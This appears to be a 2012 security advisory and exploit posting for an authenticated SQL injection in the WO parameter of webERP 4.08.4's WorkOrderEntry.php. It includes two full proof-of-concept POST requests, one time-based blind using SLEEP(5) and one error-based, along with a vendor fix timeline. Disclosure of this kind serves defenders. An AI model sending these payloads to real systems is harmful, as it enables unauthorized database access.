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webERP 4.08.4 SQL Injection

webERP 4.08.4 SQL Injection
Posted Sep 17, 2012
Authored by modpr0be

webERP versions 4.08.4 and below suffer from a remote SQL injection vulnerability in WorkOrderEntry.php.

tags | exploit, remote, php, sql injection
MD5 | 2a3998114ad72d6a96fecf4ba7fa6e27

webERP 4.08.4 SQL Injection

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# Exploit Title: webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability
# Date: 14/09/2012
# Exploit Author: modpr0be (modpr0be[at]spentera.com)
# Vendor Homepage: http://www.weberp.org
# Software Link: http://sourceforge.net/projects/web-erp/files/
# Version: 4.08.4
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
# CVE: -

# Software Description
# webERP is a mature open-source ERP system providing best practise, multi-user business
# administration and accounting tools over the web.

# Vulnerability Overview
# webERP is vulnerable to SQL Injection vulnerability in the WorkOrderEntry.php within the WO parameter.
# Due tue unvalidated input, when the single quote is inserted the web application throw a database error
# message that indicated a SQL Injection is exist.
# Another test was performed and indicated that the WO parameter is also vulnerable to time-based blind sql injection.
# However, the attacker must be in authenticated session to exploit the vulnerability.

# POC (authenticated session needed):
# Time-based Blind SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33' AND SLEEP(5) AND '1'='1&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=

# Error-based SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33'&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=

# Solution
# Upgrade to latest version here: http://sourceforge.net/projects/web-erp/

# Vendor Contact Log
08/29/2012 - Bug found, submitted to Bug Report
08/29/2012 - Vendor fix the bug, and request testing on patch version
09/03/2012 - Confirm no vulnerablity found.
09/11/2012 - webERP 4.08.5 released.

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